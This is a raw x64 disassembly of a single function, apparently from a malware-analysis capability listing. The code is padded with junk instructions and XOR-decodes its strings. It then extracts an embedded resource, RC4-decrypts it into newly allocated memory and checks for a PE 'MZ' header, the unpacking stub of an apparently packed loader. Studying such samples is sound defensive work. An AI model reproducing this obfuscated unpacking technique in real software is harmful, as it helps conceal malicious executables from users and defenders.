Function at 0x140007947
Capabilities:
Extract resource via kernel32 functions
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
cmp al, 0xb4
cmc
cmp r11w, bx
push rbp
movzx bp, dil
bts ebp, r11d
push r12
push r13
sar bp, cl
rcl bp, cl
push r14
or ebp, r14d
bsf rbp, rdi
push r15
sub bp, r12w
lea rbp, [rsp - 0x190]
stc
sub rsp, 0x290
sub r9d, r9d
xor r8d, r8d
cmc
jmp 0x14000799c
xor edx, edx
clc
test bpl, al
xor ecx, ecx
jmp 0x1400079a9
call qword [sym.imp.USER32.dll_DefWindowProcW]
lea rcx, [rsp + 0x50]
jmp 0x1400079b9
mov dword [rsp + 0x50], 8
jmp 0x1400079c6
mov dword [rsp + 0x54], 0xc0ff
jmp 0x1400079d3
call qword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
sub ecx, ecx
jmp 0x1400079e0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movabs r13, 0xbf56ebf078544d37
bswap r8w
lea r8, [rsp + 0x20]
mov rdi, rax
rdtsc
mov qword [rsp + 0x50], r13
cqo
cdq
movabs rax, 0xbf04eba0781d4d6d
mov edx, 0x68
mov qword [rsp + 0x20], rax
mov rcx, rdi
movabs rax, 0x65783f99d92d0a71
jmp 0x140007a2c
mov qword [rsp + 0x28], rax
movzx ax, dil
movzx eax, dx
movabs rax, 0x65783f99d97e0a34
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x58], rax
jmp 0x140007a53
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov r14, rax
stc
cmc
test rax, rax
jmp 0x140007a72
je 0x140007ab8
mov rdx, rax
movsx cx, bh
movsx rcx, cx
jmp 0x140007a88
mov rcx, rdi
jmp 0x140007a90
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
cmp r8b, r9b
test rax, rax
jmp 0x140007aa4
jne 0x140007c23
mov rcx, r14
jmp 0x140007ab2
call qword [sym.imp.KERNEL32.dll_FreeResource]
movabs rax, 0xe667b8e6219f1f2a
mov cx, reloc.KERNEL32.dll_VirtualProtect
xchg rcx, rcx
movzx rdx, si
mov qword [rsp + 0x50], r13
movzx rdx, ax
movsx cx, r10b
movzx edx, di
mov qword [rsp + 0x20], rax
mov ch, cl
lea rdx, [rsp + 0x20]
movsx eax, cx
not cl
cbw
movabs rax, 0xf4b5b46ed95e8711
not cx
jmp 0x140007b03
movabs rcx, 0x65783f99d97e0a34
jmp 0x140007b12
mov qword [rsp + 0x28], rax
movabs rax, 0xae467fc342c65f51
jmp 0x140007b26
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x18365a7f2c77c246
jmp 0x140007b40
mov qword [rsp + 0x58], rcx
jmp 0x140007b4a
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x68], rax
jmp 0x140007b5f
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [rsp + 0x30]
lea r8, [0x1400030f0]
setno cl
btr cx, 0x9d
movzx rcx, r10w
movabs rcx, 0xae46f0be0ccd3ae1
jmp 0x140007b94
sub r9d, r9d
cmc
mov qword [rsp + 0x60], rcx
xor ecx, ecx
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
call qword [sym.imp.USER32.dll_MessageBoxW]
lea r11, [rsp + 0x290]
rcl si, cl
adc bpl, dil
xor eax, eax
mov sil, 0x43
movzx r15w, spl
cmovno r14w, bp
mov rbx, qword [r11 + 0x30]
movzx si, cl
movzx rbp, di
mov rsi, qword [r11 + 0x38]
movsx edi, r15w
bswap r12
mov rdi, qword [r11 + 0x40]
mov r14b, r11b
mov rsp, r11
mov r15w, 0x3f75
pop r15
setb r12b
mov r14b, 0x35
movzx r14w, r8b
pop r14
jmp 0x140007c0e
pop r13
movsx r12, si
mov bpl, 0x9d
bswap rbp
pop r12
pop rbp
jmp 0x140007c22
ret
mov rdx, r14
mov rcx, rdi
jmp 0x140007c2e
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r12d, eax
test eax, eax
je 0x140007ab8
mov r9d, 4
not r8b
mov r8d, 0x1000
neg rdx
or r15w, 0xf89
mov edx, r12d
sub ecx, ecx
mov r15d, r12d
jmp 0x140007c64
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test r11, rsp
stc
cmc
test rax, rax
jmp 0x140007c7a
je 0x140007ab8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rbx
mov ecx, r12d
movzx si, r8b
movsx esi, r12w
movzx rsi, cx
mov rsi, rax
jmp 0x140007ca4
rep movsb byte [rdi], byte [rsi]
mov rcx, r14
jmp 0x140007cae
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov r13d, 0x5a4d
cmp r15b, 0xbf
clc
cmp bpl, cl
cmp word [rbx], r13w
jmp 0x140007ccb
je 0x140007fc5
mov r9d, 4
xor dx, 0x8fd
mov r8d, 0x1000
clc
rcl dl, 0x5a
mov edx, r12d
jmp 0x140007cee
xor ecx, ecx
jmp 0x140007cf5
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
stc
cmp r13d, ecx
test rax, rax
jmp 0x140007d0a
je 0x140007fa9
mov dword [rsp + 0x20], 0xe7f10134
shl rcx, 0x2a
lea rcx, [rbp - 0x70]
mov dword [rsp + 0x24], 0x983e7a39
stc
rol sil, cl
shl si, 0x99
xor eax, eax
mov dword [rsp + 0x28], 0xa1c3f0f5
mov esi, 0x100
jmp 0x140007d44
mov byte [rsp + 0x2c], 0x3c
nop
jmp 0x140007d50
mov byte [rcx], al
jmp 0x140007d57
lea rcx, [rcx + 1]
inc eax
cmp eax, esi
jmp 0x140007d64
jb 0x140007d50
sub edi, edi
sbb r8b, r12b
sub edx, ebp
sar ecx, cl
lea r8, [rbp + 0x90]
not cx
xadd dl, cl
nop word [rax + rax]
sar rdx, cl
mov ecx, edi
cdqe
lea r8, [r8 + 1]
cmovns ax, r12w
bswap rax
mov eax, 0x4ec4ec4f
btr rdx, 3
btc rdx, r14
mul edi
inc edi
bts eax, r14d
bsf eax, r15d
neg al
shr edx, 2
movsx ax, dil
movsx rax, sp
bswap ax
imul eax, edx, 0xd
sub ecx, eax
test sil, r10b
test r13d, 0x6d683e49
clc
movzx ecx, byte [rsp + rcx + 0x20]
mov byte [r8 - 1], cl
cmp edi, esi
jmp 0x140007de9
jb 0x140007d8e
xor r8d, r8d
not ax
ror al, 0x7d
sub edi, edi
movsx eax, dx
bswap rax
sal ecx, 0xd0
nop dword [rax]
bts cx, r14w
rcr dh, 0xa8
movzx edx, byte [rbp + rdi - 0x70]
cmp bp, 0x57fc
movzx ecx, byte [rbp + rdi + 0x90]
lea rdi, [rdi + 1]
test sil, spl
stc
add ecx, r8d
sbb r8b, 0xd1
add ecx, edx
movzx r8d, cl
lea rcx, [rbp - 0x70]
cdqe
movzx rax, si
movzx eax, byte [rcx + r8]
mov byte [rbp + rdi - 0x71], al
cmp rax, r9
mov byte [rcx + r8], dl
sub rsi, 1
jmp 0x140007e5c
jne 0x140007e12
sub r9d, r9d
cmc
xor r10d, r10d
clc
cmc
test r12d, r12d
jmp 0x140007e73
je 0x140007f60
mov rsi, r14
btc edi, edi
cqo
and ah, 0x94
mov r8, rbx
jmp 0x140007e8c
nop dword [rax]
bt rdx, 0x62
btr rdx, r8
nop word [rax + rax]
movsx dx, ah
shld ax, si, 0xfb
lea eax, [r9 + 1]
btc r9w, 0xe0
sub edx, 0x6856021a
movzx r9d, al
movzx di, r11b
sar ecx, cl
btc cx, dx
lea rdi, [rbp - 0x70]
lea rcx, [rbp - 0x70]
lea rsi, [rsi + 1]
lea r8, [r8 + 1]
inc rdx
and dl, 0x6a
lahf
movzx edx, byte [rdi + r9]
lea eax, [r10 + rdx]
bswap r10
cmp ecx, 0x4576099c
btc r10, rcx
movzx r10d, al
movzx eax, byte [rcx + r10]
stc
clc
mov byte [rdi + r9], al
cbw
and ah, 0xb4
rcr al, cl
mov byte [rcx + r10], dl
movzx ecx, byte [rdi + r9]
inc eax
or ax, bp
lea rcx, [rcx + rdx]
movzx ax, dil
movzx eax, cl
btc rcx, rsi
shl rcx, 0x8e
movzx ecx, byte [rbp + rax - 0x70]
test bpl, r8b
jmp 0x140007f3d
xor cl, byte [r8 - 1]
jmp 0x140007f4e
mov byte [rsi - 1], cl
sub r15, 1
jmp 0x140007f5a
jne 0x140007eac
xor edx, edx
mov r8d, 0x8000
jmp 0x140007f71
cmp word [r14], r13w
jmp 0x140007f7a
jne 0x140007f9b
mov rcx, rbx
jmp 0x140007f88
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, r14
jmp 0x140007f96
jmp 0x140007fc5
mov rcx, r14
jmp 0x140007fa3
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r8d, 0x8000
shr ch, cl
sub edx, edx
movzx rcx, si
movzx ecx, bp
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ebx, ebx
mov qword [rbp - 0x78], rbx
test rbx, rbx
jmp 0x140007fd1
jne 0x1400080e0
movabs rdx, 0xba2e94edbbf49fc8
cbw
movabs rax, 0xe667b8e6219f1f2a
setno cl
mov qword [rsp + 0x20], rax
cwde
xchg cl, ah
movzx ax, bpl
movabs rcx, 0x65783f99d97e0a34
not al
mov qword [rsp + 0x48], rdx
movabs rax, 0x340bb46ed95e8711
mov qword [rsp + 0x28], rax
movabs rax, 0x3f8b9b6c6b8daf0c
jmp 0x14000802c
movdqa xmm0, xmmword [rsp + 0x20]
mov qword [rsp + 0x30], rax
movabs rax, 0x93e30bf278799669
jmp 0x140008046
mov qword [rsp + 0x38], rax
movabs rax, 0x914116c46fa9000f
mov qword [rsp + 0x40], rax
movzx rax, r10w
movabs rax, 0xbf56ebf078544d37
jmp 0x14000806d
mov qword [rsp + 0x50], rax
cdqe
lahf
bswap eax
movabs rax, 0x18365a7f2c77c246
jmp 0x140008086
mov qword [rsp + 0x78], rdx
lea rdx, [rsp + 0x20]
jmp 0x140008095
mov qword [rsp + 0x58], rcx
jmp 0x14000809f
pxor xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x20], xmm0
movdqa xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x68], rax
movabs rax, 0x914116c46fa9003b
jmp 0x1400080c5
mov qword [rsp + 0x70], rax
jmp 0x1400080cf
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140007b65
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x50]
jmp 0x1400080ee
call fcn.140002240
mov rcx, qword [rbp - 0x78]
mov edx, 0x277849a4
bswap dx
cwd
lea rdx, [rbp - 0x80]
mov dword [rbp - 0x80], 0
jmp 0x140008111
call fcn.1400071e2
test rax, rax
jne 0x140008218
movabs rax, 0xf1a08e772445320d
lea r8, [0x1400030f0]
mov qword [rsp + 0x20], rax
lea rdx, [rsp + 0x20]
movabs rax, 0xea05719252890a14
sbb ch, 0xff
movabs rcx, 0x65783f99d97e0a34
stc
cmc
cmp dil, 0x6f
mov qword [rsp + 0x28], rax
xor r9d, r9d
movdqa xmm0, xmmword [rsp + 0x20]
movabs rax, 0x27a582f6697d5de1
jmp 0x140008174
mov qword [rsp + 0x30], rax
movabs rax, 0x18360b1777fb91cd
mov qword [rsp + 0x38], rax
movsx ax, r8b
movabs rax, 0xbf56ebf078544d37
jmp 0x14000819c
movdqa xmm1, xmmword [rsp + 0x30]
mov qword [rsp + 0x58], rcx
setns cl
movsx ecx, r10w
movsx cx, dil
movabs rcx, 0xae46f0be0ccd3ae1
jmp 0x1400081c2
mov qword [rsp + 0x50], rax
movsx rax, dx
jmp 0x1400081d0
movabs rax, 0x18365a7f2c77c246
pxor xmm0, xmmword [rsp + 0x50]
mov qword [rsp + 0x60], rcx
cmp r13b, 0x74
jmp 0x1400081ef
xor ecx, ecx
jmp 0x1400081f6
mov qword [rsp + 0x68], rax
jmp 0x140008200
pxor xmm1, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x30], xmm1
movdqa xmmword [rsp + 0x20], xmm0
call qword [sym.imp.USER32.dll_MessageBoxW]
sub ecx, ecx
jmp 0x14000821f
call qword [sym.imp.KERNEL32.dll_ExitProcess]